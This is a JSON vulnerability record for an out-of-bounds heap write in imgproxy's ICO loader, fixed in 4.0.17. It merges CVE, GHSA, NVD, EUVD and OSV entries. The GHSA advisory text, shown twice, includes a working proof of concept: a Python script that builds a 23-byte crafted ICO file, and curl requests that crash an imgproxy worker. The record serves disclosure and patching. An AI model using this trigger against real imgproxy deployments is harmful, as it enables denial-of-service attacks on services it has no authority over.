{"id":"CVE-2026-123615","aliases":["EUVD-2026-119374","GHSA-494m-4556-wf5p","GHSA-c4x5-qr47-7gw4","GO-2026-6895"],"status":"published","title":"imgproxy before 4.0.17 Out-of-Bounds Write in ICO Loader","description":"imgproxy 3.3.0 before 4.0.17 contains an out-of-bounds heap read and write in the ICO loader's BMP header reconstruction (vips_foreign_load_ico_header in vips/icoload.c) when an ICO entry declares a tiny data size, causing unvalidated header fields to be read and written past the allocated buffer. Unauthenticated remote attackers can supply a crafted ICO image to corrupt adjacent heap chunk metadata, triggering a glibc abort that crashes the worker.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00532,"percentile":0.45466,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-125","CWE-787"],"published":"2026-10-30T22:56:14Z","modified":"2026-11-08T10:55:46Z","fixes":[{"ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v3","fixed_in":["4.0.17"],"sources":["ghsa","osv"]},{"ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v4","fixed_in":["4.0.17"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"4.0.17"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"3.3.0"},{"fixed":"4.0.17"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/imgproxy/imgproxy","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"3.3.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v4","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.17"}]}]}],"products":[{"vendor":"imgproxy","product":"imgproxy"}],"references":[{"url":"https://github.com/imgproxy/imgproxy/security/advisories/GHSA-494m-4556-wf5p","tags":["vendor-advisory","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/imgproxy-before-4.0.17-out-of-bounds-write-in-ico-loader","tags":["third-party-advisory","advisory"]},{"url":"https://github.com/imgproxy/imgproxy/pull/1726","tags":["web","fix"]},{"url":"https://github.com/imgproxy/imgproxy/commit/39fd9e844a8a46084161502e993d5a3c16ccf28d","tags":["web","fix"]},{"url":"https://github.com/imgproxy/imgproxy/releases/tag/v4.0.17","tags":["web"]},{"url":"https://github.com/advisories/GHSA-494m-4556-wf5p"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-123615","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-c4x5-qr47-7gw4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/123xxx/CVE-2026-123615.json","tags":["advisory"]},{"url":"https://github.com/imgproxy/imgproxy","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-123615","title":"imgproxy before 4.0.17 Out-of-Bounds Write in ICO Loader","description":"imgproxy 3.3.0 before 4.0.17 contains an out-of-bounds heap read and write in the ICO loader's BMP header reconstruction (vips_foreign_load_ico_header in vips/icoload.c) when an ICO entry declares a tiny data size, causing unvalidated header fields to be read and written past the allocated buffer. Unauthenticated remote attackers can supply a crafted ICO image to corrupt adjacent heap chunk metadata, triggering a glibc abort that crashes the worker.","status":"published","published":"2026-11-08T01:38:39.703Z","modified":"2026-11-08T01:38:39.703Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-787"],"updated_at":"2026-11-08T02:36:49.037074Z"}],"euvd":[{"id":"EUVD-2026-119374","description":"imgproxy 3.3.0 before 4.0.17 contains an out-of-bounds heap read and write in the ICO loader's BMP header reconstruction (vips_foreign_load_ico_header in vips/icoload.c) when an ICO entry declares a tiny data size, causing unvalidated header fields to be read and written past the allocated buffer. Unauthenticated remote attackers can supply a crafted ICO image to corrupt adjacent heap chunk metadata, triggering a glibc abort that crashes the worker.","status":"published","published":"2026-11-08T01:38:39Z","modified":"2026-11-08T01:38:39Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-08T06:12:04.155226Z"}],"ghsa":[{"id":"GHSA-494m-4556-wf5p","title":"imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash","description":"### Summary\n\nOut-of-bounds heap write in imgproxy's ICO loader (`vips/icoload.c`): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc `munmap_chunk(): invalid pointer` → SIGABRT → Go panic, exit code 2). \n\n### Details\n\nIn `vips_foreign_load_ico_header` in `vips/icoload.c`, after the ICO entry's image data is read into a heap buffer of `data_size + 14` bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:\n\n```\nuint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32));  // unvalidated\nuint16_t bpp        = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14));  // unvalidated\n```\n\n```\nif ((num_colors == 0) \u0026\u0026 (bpp \u003c= 8))\n  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 \u003c\u003c bpp);\nelse\n  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;\n```\n\n```\nint32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8));  // readable past the buffer\nheight = height / 2;\n```\n\nWith a crafted entry declaring a tiny `data_size` (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit `height/2`-derived value at `alloc+22..+25`, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always `original_size \u003e\u003e 1` and, in cgo thread arenas, the `NON_MAIN_ARENA` bit lands in the `IS_MMAPPED` position of the corrupted word such that the next `free()` of the victim deterministically takes glibc's `munmap_chunk()` abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).\n\n\n### PoC\n\n```py\n# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.\n# Byte-identical to the checksummed, production-verified file:\n#   ico-oob.ico  sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1\nimport struct, hashlib\n\nhdr = struct.pack('\u003cHHH', 0, 1, 1)  # reserved, type=ICO, count=1\n# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.\n# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads\n# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte\n# allocation.\nentry = struct.pack('\u003cBBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)\ndata = b'\\xAA'  # the single declared image byte\nblob = hdr + entry + data\nassert hashlib.sha256(blob).hexdigest() == \\\n    '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'\nopen('ico-oob.ico', 'wb').write(blob)\nprint(f\"ico-oob.ico: {len(blob)} bytes [VERIFIED]\")\n```\n\n```\n# imgproxy v4.0.15 with local file sources enabled:\n#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png\"\n# → request fails at transport level (connection reset / empty reply) or\n#   HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →\n#   Go panic dump → exit code 2. One request, one dead worker.\n\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png\"\n# → HTTP 200, valid thumbnail (control)\n```\n\n### Impact\n\nOut-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.","status":"published","published":"2026-10-30T22:56:14Z","modified":"2026-10-30T22:56:17Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-125","CWE-787"],"updated_at":"2026-11-02T14:41:41.028239Z"},{"id":"GHSA-c4x5-qr47-7gw4","title":"imgproxy 3.3.0 before 4.0.17 contains an out-of-bounds heap read and write in the ICO loader's...","description":"imgproxy 3.3.0 before 4.0.17 contains an out-of-bounds heap read and write in the ICO loader's BMP header reconstruction (vips_foreign_load_ico_header in vips/icoload.c) when an ICO entry declares a tiny data size, causing unvalidated header fields to be read and written past the allocated buffer. Unauthenticated remote attackers can supply a crafted ICO image to corrupt adjacent heap chunk metadata, triggering a glibc abort that crashes the worker.","status":"published","published":"2026-11-08T03:30:37Z","modified":"2026-11-08T03:30:38Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-787"],"updated_at":"2026-11-08T03:41:53.166172Z"}],"nvd":[{"id":"CVE-2026-123615","description":"imgproxy 3.3.0 before 4.0.17 contains an out-of-bounds heap read and write in the ICO loader's BMP header reconstruction (vips_foreign_load_ico_header in vips/icoload.c) when an ICO entry declares a tiny data size, causing unvalidated header fields to be read and written past the allocated buffer. Unauthenticated remote attackers can supply a crafted ICO image to corrupt adjacent heap chunk metadata, triggering a glibc abort that crashes the worker.","status":"published","published":"2026-11-08T02:16:57.147Z","modified":"2026-11-12T21:30:23.87Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-787"],"updated_at":"2026-11-08T07:09:05.855788Z"}],"osv":[{"id":"CVE-2026-123615","title":"imgproxy before 4.0.17 Out-of-Bounds Write in ICO Loader","description":"imgproxy 3.3.0 before 4.0.17 contains an out-of-bounds heap read and write in the ICO loader's BMP header reconstruction (vips_foreign_load_ico_header in vips/icoload.c) when an ICO entry declares a tiny data size, causing unvalidated header fields to be read and written past the allocated buffer. Unauthenticated remote attackers can supply a crafted ICO image to corrupt adjacent heap chunk metadata, triggering a glibc abort that crashes the worker.","status":"published","published":"2026-11-08T01:38:39.703Z","modified":"2026-11-09T02:47:10.985396855Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-787"],"updated_at":"2026-11-08T11:04:05.022583Z"},{"id":"GHSA-494m-4556-wf5p","title":"imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash","description":"### Summary\n\nOut-of-bounds heap write in imgproxy's ICO loader (`vips/icoload.c`): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc `munmap_chunk(): invalid pointer` → SIGABRT → Go panic, exit code 2). \n\n### Details\n\nIn `vips_foreign_load_ico_header` in `vips/icoload.c`, after the ICO entry's image data is read into a heap buffer of `data_size + 14` bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:\n\n```\nuint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32));  // unvalidated\nuint16_t bpp        = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14));  // unvalidated\n```\n\n```\nif ((num_colors == 0) \u0026\u0026 (bpp \u003c= 8))\n  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 \u003c\u003c bpp);\nelse\n  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;\n```\n\n```\nint32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8));  // readable past the buffer\nheight = height / 2;\n```\n\nWith a crafted entry declaring a tiny `data_size` (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit `height/2`-derived value at `alloc+22..+25`, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always `original_size \u003e\u003e 1` and, in cgo thread arenas, the `NON_MAIN_ARENA` bit lands in the `IS_MMAPPED` position of the corrupted word such that the next `free()` of the victim deterministically takes glibc's `munmap_chunk()` abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).\n\n\n### PoC\n\n```py\n# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.\n# Byte-identical to the checksummed, production-verified file:\n#   ico-oob.ico  sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1\nimport struct, hashlib\n\nhdr = struct.pack('\u003cHHH', 0, 1, 1)  # reserved, type=ICO, count=1\n# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.\n# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads\n# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte\n# allocation.\nentry = struct.pack('\u003cBBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)\ndata = b'\\xAA'  # the single declared image byte\nblob = hdr + entry + data\nassert hashlib.sha256(blob).hexdigest() == \\\n    '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'\nopen('ico-oob.ico', 'wb').write(blob)\nprint(f\"ico-oob.ico: {len(blob)} bytes [VERIFIED]\")\n```\n\n```\n# imgproxy v4.0.15 with local file sources enabled:\n#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png\"\n# → request fails at transport level (connection reset / empty reply) or\n#   HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →\n#   Go panic dump → exit code 2. One request, one dead worker.\n\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png\"\n# → HTTP 200, valid thumbnail (control)\n```\n\n### Impact\n\nOut-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.","status":"published","published":"2026-10-30T22:56:14Z","modified":"2026-11-08T10:55:46.197261202Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-125","CWE-787"],"updated_at":"2026-11-08T11:04:05.022583Z"},{"id":"GO-2026-6895","title":"imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash in github.com/imgproxy/imgproxy","description":"imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash in github.com/imgproxy/imgproxy","status":"published","published":"2026-11-05T22:54:57Z","modified":"2026-11-08T10:55:46.197261202Z","updated_at":"2026-11-08T11:04:05.022583Z"}]}}
